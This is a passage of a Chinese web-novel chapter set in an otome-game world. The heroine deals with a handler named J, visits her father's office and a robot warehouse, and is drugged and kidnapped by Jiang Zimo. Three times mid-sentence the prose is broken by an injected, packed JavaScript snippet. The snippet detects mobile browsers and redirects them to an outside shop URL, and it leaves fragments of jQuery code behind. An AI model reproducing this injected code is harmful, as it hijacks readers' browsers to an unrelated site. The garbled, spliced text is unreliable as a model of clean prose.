金禾没有点开聊天消息,她默默把个人消息编辑了一下,把个性签名改成:工作时间为下午2:00~4:00,其他时间不回消息。
她刚按下保存,终端就熄屏了,连试了好几次都没法保存,金禾心里的火气蹭蹭往上涨,气得她把终端给关了。
她摘下终端,刚想扔到一边,屏幕上忽然弹出了一行字。
“紧急通知:快点回消息。”
金禾不情不愿地点开聊天消息,一个网名为J的人给她连发了好几天消息。
[J]:我是你的带教老师,有一个任务需要你完成,还有一件事,随时回消息对你而言应该是最基本的要求。
金禾撇了撇嘴,给自己取了个网名,叫“JDBB”,翻译成文字就是,J的爸。
牛马晚上还有的休息呢,为什么人就需要24小时随时待命?
[JDB]:老师,任务是什么?
[J]:帮我接近一个人,任务进度随时汇报,不懂的及时问,接近她后下一步我会教你怎么做。
[JDB]:收到!
一个文件弹出,金禾点开来。
文件封面写着“嫌疑人资料”。
她接着往后翻,第二页类似于个人简历,包含了嫌疑人的出生年月、姓名以及成长经历,甚至连个人喜好都清清楚楚。
真详细啊。
金禾用双指放大嫌疑人的照片。
真漂亮,这眼睛,这嘴巴,这鼻子……哎呀,完美无瑕。
如果这人不是她自己就好了。
我到底干什么成嫌疑人了?
她继续往后翻,第三页记录的是她父亲的信息。
“金国栋,禾安生物制药……”
她不自觉读出上面的文字。
[J]:金国栋抓走了很多吸血鬼,进行人体实验,他人心思缜密,行踪不定,我们现在唯一的突破口就是她女儿。
[JDB]:我会去接近她的。
哇塞,自己原来不是嫌疑人啊,好像还是什么隐藏大反派的女儿,那她是不是就可以为所欲为了。
金禾扬起笑容,沉浸在喜悦当中。
等等,他们明知道自己是金国栋女儿还让自己加入清理局,有诈!
心事拖拽着她的嘴角,她凝重给这位带教老师发去消息。
[JDB]:老师,我跟你介绍一下我自己吧。
[J]:不用,你的资料我都有。
屏幕对面的江子墨正捏着实习生的资料,面前的同事反复问他一件事:“血族那边是要跟我们抢这个案子?”
“这个案子已经是他们的了。”他翻动着面前的资料,却一个字都看不进去。
“你为了这个案子,把妹妹的眼角膜都给金国栋的女儿,你甘心就这么把这个案子让出去了?”
“不甘心,然后呢?”江子墨揉了揉眉心,“你先出去吧。”
“嘭!”
门被用力砸上。
他把资料扔在办公桌上,靠在椅子上,静静盯着天花板。
“咔哒。”
同事半路折返,回到他的办公室:“你黑了那个血族那边的实习生终端是不是不太好,万一被发现这件事……”
“发现不了,那些老不死的东西根本不管手底下的实习生,更何况这人是个人类,放在我们这边没问题,老板知道也不会怎么样的。”
天边隐隐作响,一道白光乍现。
桌上的白纸被照亮,上面赫然写着编造的信息。
……
“轰隆。”
雷声如鼓,敲得金禾心里一颤。
她看着颤动的窗户,起身将窗帘全部拉上。
眼皮像是被灌了铅,愈发沉,金禾见带教老师不再回复消息,她直接躺到了唐懿的床上。
她不是什么真的很矫情的人,真的困的时候也不想挑什么地方。
枕头套带着薰衣草的香味,淡淡的,金禾平躺在床上,每隔几秒,她便睡着了。
隐约间,一个人站到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902244|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了她面前,她不知道那人站了多久,只知道那人烦得很,自己朝哪翻身,那人便在哪个方向盯着她。
在梦中,金禾正躺在薰衣草花田里,流动的紫色绒毯包裹着她。
她面带微笑,欣赏着蓝天白云。
湛蓝的天空忽然被乌云覆盖,刹那间,比人还要大的雨滴从而降,把金禾从梦里砸醒。
“咳咳。”
金禾被流进鼻腔的水呛得直咳嗽,她眼里露出不耐,用力擦掉脸上的水。
她开了灯,半眯着眼睛,检查四周。
头顶的天花板像是个漏斗,收集雨水,再将汇聚的雨水准确无误地洒到床上。
金禾穿上拖鞋,拉开门。
外头一片漆黑,寂静的空间里只剩下窗外的雨声和一道不轻不重的呼吸声。
她打开终端的手电筒,走到铁床前,她插着腰,满脸不爽地看着熟睡的唐懿。
老板还醒着,身为保镖的人怎么能睡觉?
唐懿身上盖着一条小被子,严格来说,那不是被子,而是比较大一些的毛巾。
“唐懿,唐懿!”
金禾推了推唐懿裸·露的肩膀,见他还像是死猪般睡着,她一把扯掉了唐懿身上披着的毛巾。
“你……”看着面前只穿着短裤的死猪,她到了嘴边的话又回到了肚子里,她默默把毛巾又盖了回去,“我给你十秒,你最好给我醒过来!”
她双手环胸,轻轻跺脚:“十、九、一,时间到。”
是你自己不起来的,我接下做什么都是你活该!
金禾才不相信那么警觉的人,这个时候还能睡这么香。
她毫不犹豫地捏住了唐懿的鼻子,下一秒,一只大手覆上了她的手腕,带着灼人的温度,误触了终端。
手电筒熄灭,眼前彻底被黑暗替代。
“你想干嘛?”由于金禾还捏着唐懿的鼻子,他的声音变得像是鸭子一般,“你给我放开手。”
“我不要,有本事你咬我。”话落,一根湿漉漉的东西抵住了金禾的手心。
她忙不迭抽回手,又格外嫌弃地把手心上的黏液全部蹭到唐懿的毛巾上。
夜黑风高,大雨倾盆。
她这一蹭便蹭到了不得了的东西。
她猜测,那是猪尾巴。
“你确定要?”唐懿起身,再次确认。
金禾冷笑一声:“当然了,不然我怎么睡觉。”
拿了钱就要办好事,这个保镖不合格。
“我房间……”
话音未落,一阵天旋地转后,金禾被一股不容挣扎的力道按在了铁床上。
肩膀被小臂压着,金禾动弹不得,炙热的呼吸喷洒在颈侧,她能想象到唐懿近在咫尺的眉眼。
空气里还残留着洗发露的味道,金禾能感受到后脑勺传来的湿意,迟疑道:“你枕头好湿,你不会流口水了吧?”
“我怕吵醒老板所以没有吹头发。”
“天花板漏水了,你去处理一下。”她的脑子已经被困意填满,她只想睡觉,不想管唐懿为什么要把她按在床上。
不过她也能理解这一行为,想把老板按在地上摩擦是难免的事情,唐懿干了自己一直不敢干的事情,真不错。
“好。”
唐懿此时此刻才真正意识到金禾根本没有那一方面的想法,他立刻松开手,从浴室里找出了一个盆。
金禾听着脚步声远去,把枕头反了一面,扭了扭身子,闭上眼便睡了过去。
17. 礼盒
*
太阳从云层里跳出来,变成了金禾眼前的早餐蛋。
她啃了口手上的黄瓜,没咀嚼几口就吐了出来。
早上起来,家里没人,隔壁也没人,她孤零零地待在家里。
“嘭。”
一身沉闷的关门声,直直钻进耳廓。
金禾放下筷子,蹑手蹑脚地靠近门,来到陈可儿家门口。
“可儿,你在家吗?”她重重叩了三下门。
脚步声隔着门响起,愈发接近门口。
她后退一步,提前在嘴角挂起笑容。
门被可儿急匆匆推开,她先是从门缝里探出脑袋,见到金禾后,她露出腼腆的笑,急忙道:“姐姐,进来吗?”
“唐懿把我一个人留在家里,我太无聊所以来找你了……会不会太打扰了啊?”金禾在门外踌躇,垂着脑袋扣手指。
陈可儿的手在半空顿了顿,拉住金禾后就把她往屋子里面带:“当然不会了!”
门口的塑料小凳旁摆满了大包小包的新鲜食材,黑色塑料袋里的生菜超出一大截,上头还点缀着小水珠。
陈可儿弯下腰,从鞋柜里掏出一双拖鞋,顺手拿起袋子就往厨房走拎。
金禾跟着她身后,帮着把剩下的袋子运过去。
“谢谢。”可儿整理着食材,一会儿拉开冷冻格,一会儿拉开冷藏柜,冰箱被塞得满满当当。
金禾拿起终端,叫了个同城快送,点了两人份的奶茶蛋糕,又叫了点炸鸡汉堡,她手指灵活地在屏幕上滑滑点点。
“姐姐,你昨天睡得好吗?”陈可儿切了盘苹果端到金禾面前,有些无助地搓手指。
“哇塞,你苹果切的好漂亮呀!”金禾用牙签插着苹果,放在嘴边,慢慢啃着,“客厅的铁床有点硬,睡得腰酸背痛的。”
“啊?你睡客厅的吗?”陈可儿拿牙签的手悬在半空。
“对啊,不然没地方睡觉。”她耷拉着眼,用手指在桌子上画圈。
陈可儿把盘子推到金禾身前,想用苹果填满她的肚子。
黄灿灿的苹果皮重重叠叠,像是花一般被摆在手绘的瓷盘上。
金禾顺着可儿的捏着盘子的手看向她的眼睛,那大大的眼仁里填满了小小的自己,她感觉心都被对方填满了。
“扣扣。”
外卖员将外卖放到门口,金禾拿了进来。
“我请客,随便吃!”她将袋子里的食物一个个拿出来,陈可人呆呆地坐在原地,怔愣片刻,她赶忙起身帮着金禾从袋子里拿出一次性餐具。
【魅力值加一(来源:陈可儿的喜爱),目前魅力值:4。】
你就这么被吃的收买了?
金禾昨夜想好的话都没了用武之地,她只能趁二人交谈的时候把一些东西添油加醋地加工了一遍。
“上次我说了他几句,让他好好工作,他就生气了。”
“家里都没有我的衣服,我也没有属于我自己的空间。”
“昨天天花板漏水,滴在身上,好冷好冷。”
……
*
奶茶杯子渐渐见底,底下还剩着几颗珍珠。
两人在门口分别,金禾摸着鼓鼓的肚子,躺在铁床上。
她实在是太无聊,所以她打算去骚扰别人。
骚扰目标暂定她那素未谋面的父亲。
她已经想象到自己被人簇拥上楼的场景,想象很美好,可现实很骨感。
前台的小姐见到她的第一句便是:“你有预约吗?”
“我是他女儿。”金禾摘下从唐懿衣柜里面找出的墨镜,露出灿烂的笑容。
前台的小姐保持着礼貌的微笑:“你有预约吗?”
“没有。”金禾把墨镜重新戴上,“不好意思,打扰了。”
她匆匆忙忙给她父亲的助理发去信息,对方只回了一句:稍等片刻,金总在开会。
金禾嘴角的笑容彻底消失了,她跑到公司附近的咖啡店坐着。
铁勺搅拌着咖啡,咖啡色的液体上映出来金禾的脑袋,倏然,倒影里加入了另一颗大头,漩涡将二人卷在一起。
金禾把勺子搭在盘子上,一个用黑色发箍把头发全部梳到后面的男人坐到了她的对面。
她环视四周,空位子还有许多。
这人是冲着自己来的?
金禾不动声色地挖着蛋糕吃,她瞄了眼面前古铜色肤色的人,他半敞着衬衫,双手相扣,放在桌面。
难道是星探?现在星探颜值都这么高了吗?
蛋糕已经没了一半,对面人依旧一言不发。
金禾对于这种像是咖啡豆一样的男人不感兴趣,虽然闻起来是香的,到嘴里也是香的,但是中间研磨的过程太复杂,她可没耐心去周旋。
她起身正准备走,对面的人忽然开口了:“金小姐。”
“江老师。”金禾脚步一顿,她慢吞吞地坐下,看着面前人朝下撇的睫毛,抿了口咖啡。
好在金禾对于听过的声音比较敏感,不然还真的对不上号。
江子墨今天的发型太过独特,在游戏里,他留的是刚刚好遮住眉毛的短发,金禾对于这个角色不感兴趣,平日基本上都会跳过他的剧情。
江子墨看着她的眼睛,询问道:“你眼睛好了?”
“我戴着墨镜,现在还是能看见的。”说罢,金禾立刻把眼镜戴上。
男款的眼镜戴在她巴掌大的脸蛋上,格格不入,她似没有察觉般,趁着江子墨看不清自己的神色,仔细打量这位的面貌。
江子墨的眼睛上方被宽而多褶的双眼皮吊着,他瞧起来像是那种文艺工作者,带着忧郁的气息,又像是那种海上的救生员,被紫外线在脸上射了好多痣跟雀斑。
“你来找你爸爸?”
“没有,我是专程来找你的。”金禾瞬间换了个位置,坐到了江子墨身边。
他腾出边上的位子,侧头看着金禾:“找我?你是有什么事情吗?”
“我最近在做一个灵异调查,你最近有没有感受到什么不可说的力量?”她斟酌了下用词,“你最近有没有觉得有什么异常?比如鬼……火之类的东西突然冒出来。”
江子墨摇头道:“没有。”
金禾思索片刻道:“我能去你公司参观一下吗?”
她记得江子墨是在一家科技有限公司工作的,但是江子墨实际上负责的是一项秘密项目,涉及有自我意识的仿生人研发。
这个乙游的第五个男主好像就是他造出来的。
“当然可以。”江子墨嘴角本就微微上扬,似笑非笑的模样看着金禾莫名心慌。
好邪恶的笑容……一看就是大反派的笑容。
单单看这个男人的外表真看不出他想杀我。
保险起见,金禾给她父亲助理发去消息,跟他报备了一下自己的行踪。
就算死,人也要死得明明白白。
……
金禾被江子墨领到了一个巨大的底下仓库。
穿着工装的人来来往往,深灰色的货架顶着天花板,各式各样的机器人排列在货架上。
“有喜欢的吗?随便挑。”江子墨从货架上拿下一只仿真宠物狗,“这个怎么样?”
挑一个让你来监督我吗?
金禾是绝对不会使用江子墨给的东西的。
她摸了摸仿真机械宠物狗的毛,婉拒道:“感觉没有真的狗肚子软。”
“你看得清楚吗?”江子墨忽然凑近金禾的脸,两人距离一寸寸缩短。
她忙不迭后退一步:“不是很清楚。”
“你可以摸摸……仔细摸摸。”江子墨换了一个体积更大的宠物狗。
“好。”金禾听话地把手放到了江子墨的脸上。
这人早上应该洗脸了吧?
她还上下搓了搓滑溜溜的脸蛋,她还以为古铜色的肌肤应该摸起来会糙糙的呢。
拥有主角光环的人就是好啊,不需要做什么保养,脸蛋都能这么滑。
江子墨瞬间抓住了金禾的手背,他默默将她的手放到宠物狗身上,推荐道:“大一点的机械宠物狗摸起来会软一些。”
金禾按了按宠物狗毛茸茸的肚子,看着自己陷在毛里的手,赞同地点头。
“喜欢吗?这款产品很受年轻群体的欢迎。”
金禾没回答,自顾自往另一头的货架走去。
江子墨闭了会眼睛,把宠物狗放回到架子上,快步跟上金禾。
琳琅满目的机器人从金禾眼前掠过,她左顾右盼,忽然,一个红色的标牌吸引了她。
一个高大的仿真人站在一个玻璃罩里,眼神空洞。
金禾凑近盯着仿生人,看着他底下的介绍牌,介绍牌上面写着:鬼哥,仿生人解放运动的领袖。
“这只是一个空壳子,真的仿生人已经全部销毁了。”江子墨敲了敲玻璃罩,对着金禾客气一笑。
金禾回以一个标准地笑:“这个仿生人叫鬼哥啊……那你们这里有没有叫鬼妹妹的机器人啊。”
“没有。”江子墨嘴角的笑淡了几分。
“叮叮叮。”
终端弹出个电话,金禾接起电话。
“小姐,金总会议结束了,你在哪里,我去接你。”
“我在离公司很近的地方,你在公司楼下等我吧。”
说完,金禾挂断了电话,对着江子墨挥手:“下次再见,江老师。”
……
“金小姐,金总在办公室等你。”
助理点头微笑,推开了办公室的门。
金禾走进办公室,她的父亲正在办公桌上对着键盘敲敲打打,她前进几步,俯瞰窗外的景色。
近处的车流川流不息,远处的大江波光粼粼。
“金禾,过来坐,眼睛好了?”
金国栋摊开手,指着桌上的装着红茶的马克杯。
“好的差不多了,爸。”金禾没少在小世界给别人当女儿,一声“爸”叫得亲昵又自然。
她拉开椅子坐下,握着马克杯,瞄了眼金国栋,若无其事地喝着水。
原主这个父亲保养得真……有针对性,三十岁的脸却顶着光秃秃的脑袋。
金国栋停下手上的动作:“还是要多注意一下……听说你昨晚没回家。”
“你不在家我也不想回去。”金禾放下杯子,把手搭在桌边,委屈地嘟起嘴巴。
“你觉得江子墨怎么样?就是你那个家庭教师。”
“一般吧,没爸帅。”金禾把头低下去。
“顾言秋呢?”
“一般吧,没爸俊。”她把头埋得更低些。
金国栋拧开一边的保温杯,嗦了口茶:“那个保镖就比你爸帅了。”
金禾把手放到腿间,琢磨了片刻道:“这个比前两个年轻一点,爸你也知道,前面他们两个年纪有点大了,万一赶在我之前死就不好了,我觉得我们家三个人是完完全全养得起的。”
金国栋眼里流露出赞同:“但是三个人里面我最喜欢江子墨,上次你的那个眼睛他帮了很多忙,我打算认他当干儿子。”
金禾猛地抬起脑袋,江子墨之前居然就和自己父亲有联系了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916207|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
看来系统传输的剧情不完整,只给了部分剧情,导致金禾断章取义,她开始以为江子墨只是单纯为了妹妹接近她,但是昨天以后,她很清楚知道了江子墨是为了任务。
她脑子里忽然浮现了江子墨在游戏里的背景,他从小无父无母,长大后认了个养父,游戏开始后,他养父意外去世,留下了巨额财富给他继承。
那些钱本来是她的!
她挺直背,严肃道:“爸,这人居心叵测,他……”
【警告!警告!不能透露透露NPC关键信息。】
那她只能透露点虚假信息了。
她抬了抬下巴,把手重重敲在桌子上:“他对你不清白,他看你的眼神很不对劲,爸,你养小男人可以,但是不能放到台面上,我给你提个意见,找男人要找25岁以下的,他有点老了。”
金国栋手一抖,杯子里的水溅起来,烫得他嘴唇直哆嗦:“胡说八道什么呢!”
“我没有,我跟他聊天的时候,他三句不离你,这不是喜欢是什么,这不是重视是什么?父亲大人,你要正视你儿子对你的情感。”金禾激动站起来,她手舞足蹈地比划,说得确有其事。
金国栋对着她连连挥手:“去去去。”
“爸爸,你如果还是不相信,你叫他来办公室,我来证明给你看。”金禾绕到金国栋身边,抓着他的终端就往他耳边递过去。
“滚滚滚。”金国栋抽回自己的手。
金禾一屁股坐到地上,拉住金国栋的大腿,仰天长啸:“爸!他对你图谋不轨啊!”
他还有谋财害命的嫌疑呢。
金国栋轻叹了口气:“我会注意的。”
金禾赶忙从地上爬起来,拍了拍肉眼并不可见的灰尘,手上动作不停,嘴上功夫不断:“爸,你都不知道,他的终端壁纸都是你,我当时还在奇怪你们是怎么认识的呢?他说你是他的偶像,心里偶像,他把他当儿子,他把你当能发展感情线的欧巴。”
“前段时间,我出车祸是他送我去医院的,你这说的好像我们不是正规渠道认识的,人家只是比较热心。”金国栋连人带椅子往外挪动。
热心?热爱的心吗?
金禾又坐在地上,像是那种讨不到玩具的孩子一样,撒泼滚打。
金国栋忍无可忍,拿起终端,他还没来得及拨打电话叫人赶走金禾,敲门声先一步传来。
“金总,江先生来找你。”
金禾一个弹起,顺了顺自己的头发。
她虽然看起来没脸没皮的,但是实际上她也是要脸的。
“进来。”
门被推开,金禾盯着地板,她先注意到的是那双赠礼昂的皮鞋,然后是笔直的裤腿,随后是涂满发胶的长发,江子墨换了身装扮,手上拎着一个礼盒。
她看清楚来人是谁后,放下了搭在身前的手。
她睨了眼自家父亲,满头问号,为什么他上楼不需要预约。
“金小姐,你东西落下了。”江子墨朝着金国栋轻轻点头,“金总,我放下东西就走。”
礼盒体积很大,上头还打了一只金色的蝴蝶结,他将礼盒放到了茶几上,即便他动作很轻,放置时还是发出了一声钝响。
金国栋扬起嘴角,皮笑肉不笑,他没挽留,江子墨和他们道别后便自己退了出去。
脚步声远去,门彻底被关上。
光打在礼盒上,照亮了上面烫印的金色禾穗图案。
“现在把你的东西拿回家吧,我下午还有个会。”金国栋没再看金禾,他起身扯了扯衣服,“你说的话,我都懂,我会留意的。”
“啪。”
门关了,偌大的办公室只剩下金禾一人,她瞥了眼天花板上的监控,在礼盒面前蹲下身,摆弄了几下蝴蝶结。
重要的不是礼盒里面有什么,是她想要礼盒里面是什么。
她压抑着嘴角的坏笑,眼珠滴溜溜地一转,抱起礼盒出了公司。
*
冷白的灯光照耀柜台里的戒指上,钻石折射出细碎的光。
呛鼻的香水味醺地人晕晕乎乎,金禾边点头边听着柜姐的介绍。
“小姐,这个戒指的灵感来源是……无论是送礼还是您自己戴都非常合适。”
“有没有什么戒指表示国之栋梁,我要送给的人名字叫做金国栋。”她坐在椅子上,
戒指,一个暗示性很强的礼物。
“有,这款金戒指参考了竹节的设计,寓意节节高升,国之栋梁需要风骨,如同竹子一般。”
这样的话,我还不如买一堆果冻塞里面呢。
金禾都觉得自己提的要求太刁难人了,她从柜姐手里拿过戒指,仔细端详:“就这个吧,戒指里面刻三个字母□□可以吗?”
不知道自己父亲知道江子墨送给他一个戒指会有什么感受?
受到戒指后,他或许就会相信自己女儿的话,然后把江子墨赶出家里。
柜姐微笑点头:“可以的。”
周围的人三两成群,金禾晃着双腿,看着镜子里的自己发呆。
一片模糊中,一个身影站在了她背后。
“客人,这边跟你确认一下,刻的是□□对吧?”
“对。”
金禾用力眨了下干涩的眼睛,模糊的视野渐渐清晰。
镜子里的另一位主角此刻正穿着一件白色短袖和一条灰色裤子,一眨不眨地盯着她看。
哎呀,原来是未婚夫先生啊。
她还以为是来找自己要联系方式的帅小伙呢。
可惜可惜……
18. 绑架
“好的,女士麻烦你签一下字,我们这边的收费是这样子的……”柜姐把一张收费单推到金禾面前,叽里咕噜说了一堆。
金禾左耳进右耳出,她半遮着额头,时不时透过指缝睨一眼镜子里的男人。
未婚夫先生在跟踪我?
顾言秋没看她,而是专心致志听着柜姐的话,他的食指轻轻扣着桌面,频率越来越快,敲得金禾心烦意乱。
“没问题的话,小姐麻烦你签个字。”柜姐贴心地递上钢笔。
顾言秋先一步接过钢笔,签下了自己的名字。
……
金禾已经神游天外了,眼前忽然出现了一只大手,大手拼命晃动,召唤回了她的意识。
好家伙,为什么戒指在他中指上?
“你是买来送谁的?”顾言秋自然地坐在她身边的椅子上。
“送给我自己的。”
“J、M、B是?”
“我网名。”金禾如坐针毡,自己好似一个正在接受审讯的嫌疑犯。
不行,她要反客为主。
“你戴的是男士墨镜。”
别老盘问我,我是什么嫌疑犯啊?
金禾背过身,开始转移话题:“你为什么会出现在这里?”
“我刚好路过这里。”顾言秋把手搭在金禾身上,却被她巧妙避开了。
你看我会相信吗?怕不是看我来我爸公司,想监视我吧。
她把礼盒放到桌子上,推到顾言秋面前:“你打开看看……”
顾言秋先是拿起礼盒晃了晃,然后颠了颠重量。
“这里是什么?”
“你的礼物。”她催促着,眼睛偷偷瞄向镜子,悄咪咪观察着顾言秋。
礼盒被打开,里面的泡沫被撕开,一只机械宠物狗被拿了出来。
机械宠物狗单看外形与普通小狗无差别,看起来像是一只真的小博美。
说明书、遥控器、充电器……被顾言秋一一拿出来。
“送给我的?”他喜怒不形于色,但小心翼翼摸毛的模样出卖了他。
她眼眶倏然红了,哽咽道:“我觉得我们的婚约不会很顺利,其实这是我爸爸看好的一个男人送给我的,我觉得你有对这个东西的处理权,其实我特别喜欢你,可是毕竟父母之命媒妁之言……”
个屁!
金禾没想到江子墨真的送了只宠物狗,这个烫手山芋就送给别人吧。
她抽泣着,默默从顾言秋的裤子口袋里掏出手帕纸,擦着泪。
“那人叫什么名字?”
“我爸爸不让我说。”金禾擤着鼻涕。
你自己去查啊!你不是警察吗?最好把他抓起来。
这两个人一个喜欢跟踪,一个喜欢监视,适合内部消化!烤着吃、炖汤喝、放血舔都可以。
顾言秋缄默片刻:“你喜欢他吗?”
“我只喜欢你,你知道,我这人一心不能二用。”
她一般都是一心三用的,必要时也能一心n用。
人不逼自己一把,也不知道自己一天之内能爱上几个男人。
“咯……咯……咯。”
她猝不及防地开始打嗝,忙不迭捂住自己的嘴。
“失态了,我先走了。”
金禾快速跑走,留给身后人一个强装坚强的脆弱背影。
商场里的人不多不少,她借着人流隐去身影。
刚走到商场门口,一条消息就从消息栏里弹出。
[唐懿]:我早上去签了手术同意书,非常抱歉,我现在可以上班了,我去找你。
[金禾]:你可以休息的,没事,明天再来上班也可以。
【剧情点:趁着唐懿妹妹病重,以钱的名义,包养唐懿十天,请在二十天内确立包养关系。】
她啃着指甲,一言难尽地抿着嘴,她无奈地盯着屏幕。
这是干嘛?自己这边还有个未婚夫呢?
生活要继续,人就不能停下。
聊天框里头的文字删删改改,最后,她只留下了一句话。
[金禾]:我们公司有个公益项目,我想帮帮你妹妹。
对面始终显示正在输入中。
[金禾]:我需要拜访一下你妹妹,你可以先考虑考虑,你妹妹不一定符合条件。
她还没忘要当“好人”这件事呢,自己这么好的人,江子墨还想杀的话,简直是天理难容。
[唐懿]:等她醒了,我跟你说,谢谢。
她的身边走过两位手挽手的女孩。
“我刚刚在戒指店看见一个好帅的人,你说我要不要去要联系方式?”
“这已经是你今天看上的第五个男人了。”
金禾觉得自己是个有原则的人,所以她决定速速跟顾言秋解除婚约,她有必要让几位男主相互见一下。
她边走边想,眼神发散。
耳边突然响起好几声喇叭声,思绪回笼,她顺着声音望去。
一辆车便停在了她面前,车窗缓缓降下,车里的人弯下腰朝她点点头。
“我送你。”
“我有个朋友可以跟我一起吗?”金禾在终端上紧急联系了顾言秋,给他发去了一个定位。
江子墨笑得很假,就像塑胶娃娃一样,他沉下声:“我有事情想和你单独说。”
不可以!
金禾脑海里浮现了本来要替顾言秋挡到的那天他车子上的“盛况”,这种有改造过嫌疑的车她是绝对不可能坐的。
她挤出了比江子墨还要假的笑。
她就是不上去咋地?有本事在大庭广众下拖自己上车啊!
她没回答这个问题,而是绕到车后,对着车子拍了一张照,而后发给了江子墨:“江老师,你违规停车了,这个公交台附近不让停车,你觉得我应该举报你吗?”
“随便。”江子墨不紧不慢地握着方向盘,丝毫没有开走的意思,“金小姐,你未婚夫知道你和你保镖的事情吗?”
哦吼,说得好像我们有什么不正当关系一样,虽然很快就要有了,但是至少现在没有。
“知道啊,你快添油加醋地告诉他一遍吧。”金禾十指相扣,放在胸前,眼神真挚得仿佛在冒星星,看上去比平时还要大了、亮了几分。
“金禾,我认真的。”
“江老师,我也是认真的。”
两人视线在空中相撞,没撞出火花,反倒是撞出了火星。
她猜测是火星太烫屁股了,不然江子墨怎么下车了呢。
车门关上的瞬间,她拔腿就跑,第六感告诉她,眼前的人的耐心耗尽了,他身上还出现了杀意。
金禾还没跑出几步,顾言秋便出现在她的视野里。
她目不斜视,直接掠过了顾言秋,忽然,一股巨大的力量将她拉住,她打了个趔趄,扶住江子墨的手臂才站稳。
周围的空气仿佛凝固,火药味渐渐弥漫四周。
顾言秋眉间阴沉,脸色黑压压的,似乎下一刻就要电闪雷鸣。
他紧紧握着金禾的手,无论她怎么使力都掰不开。
“你和他聊,我先走了。”金禾半蹲着身子,嘴上笑着,手上狠狠拧着顾言秋的手臂肉。
“我觉得你有必要在场。”
顾言秋死死盯着江子墨,两人好像认识,而且之间有过梁子。
这是什么庭审吗?居然需要她在场,她是能当法官还是能当证人啊。
金禾啜泣道:“我手被你攥得疼死了,都红了!”
“抱歉。”
话落,顾言秋单手将她拽起来,将双手搭在她肩膀上,推到身前。
她像是个盾牌一样,被推到江子墨面前,又像是块肉饼,夹在两个面包的中间。
两片又干又硬的面包只会相互干瞪眼,把自己这个热乎乎、香喷喷的肉饼夹在中间。
只希望不要出现番茄酱……
不知道是不是汉堡的味道太吸引人了,四周人对着他们频频侧目,更有甚者在他们附近来来回回走动。
金禾可不想被当成动物园里猴王争霸赛里头的香蕉,她深吸一口气,硬着头皮开口:“江老师,这是我朋友兼未婚夫,顾言秋,他想要搭乘你的车,我们上车聊,怎么样?”
她的嘴角和眼睛之间像是被线牵扯着,嘴角牵强上扬,眼角痛苦弯下。
麻烦你们在车上吵架好不好?
“上车吧,顾先生。”江子墨打开后座的门。
“好的,江老师。”顾言秋拉着金禾上车。
车门被甩上,金禾挪到最里边,靠在窗边,望着外头的蓝天白云。
发动机一阵轰鸣,车子缓缓驶动。
密闭的空间让本就不流动的空气结块成冰。
她捂着嘴,凑到顾言秋耳边,压低声音道:“那只宠物狗呢?”
“我车上。”顾言秋闭目养神,语气平平。
金禾总觉得这是暴风雨前的宁静,她给江子墨发去唐懿的定位信息:“我要去这里,地址发给你了。”
“好。”
车里的香薰有股薄荷和艾草的味道,明明是清凉醒脑的味道,可金禾闻着却昏昏欲睡。
她浑身无力地瘫在座椅上,眼皮越来越沉。
哦……原来是迷药呀。
顾言秋把她的头按到自己肩膀边,望着中央后视镜里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933488|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的江子墨,眼神冷冽:“江组长,这是我的案子。”
“顾组长,我觉得你现在的情况不适合负责这个案子。”江子墨掏出一份文件,扔到顾言秋身上,“这里有你未婚妻和其他男人的相处照片,你的魅力显然不够。”
顾言秋捏着文件袋,冷冷道:“然后呢?”
江子墨目视前方,淡淡道:“我要绑架她。”
“如果我不同意呢?”顾言秋把文件扔到一边。
“那就连你一起绑架。”
江子墨用中指按下方向盘背后的红色按钮。
一支针剂从后排飞射而出,扎到顾言秋的脖颈上,冰凉的药液瞬间被推入他的血液里。
中央后视镜里,昏迷的人多了一位。
……
米白色系的房间里摆放着原木风的家具,一张柔软的床、一张宽大的桌子、一个摆满书的书架还有一间独立卫浴,任谁看这间房都不会跟监狱联系在一起,可这间房里确确实实关押着一位饥寒交迫的人。
“咕噜咕噜。”
金禾捂着空荡荡的肚子,和窗户外的女孩面面相觑。
这个窗户外面装了防护栏,看上去更像是探监用的窗台。
她是被饿醒的,醒来时身上穿着纯白的病服,手上的终端不知所踪。
女孩看不出年龄,长着张娃娃脸,却有一米六五左右的身高,她目光呆滞,主动开口朝着金禾问好:“你、好。”
金禾看着她头顶上的字母“D”,一时不知说些什么,她看着地上的影子,心中腹诽:这也不是鬼啊,为什么要叫鬼妹妹?
“我不太好,你不能把帮我把空调调高一点。”她把身子包裹在被子里,像个粽子。
女孩一动不动,仿佛扎根在地上,良久,她才张开嘴,一字一顿道:“温度已经调好。”
“谢谢啊,你叫什么名字?”
金禾直勾勾看着女孩,可对方只是迟缓地眨眼,似乎不能理解金禾话里的意思。
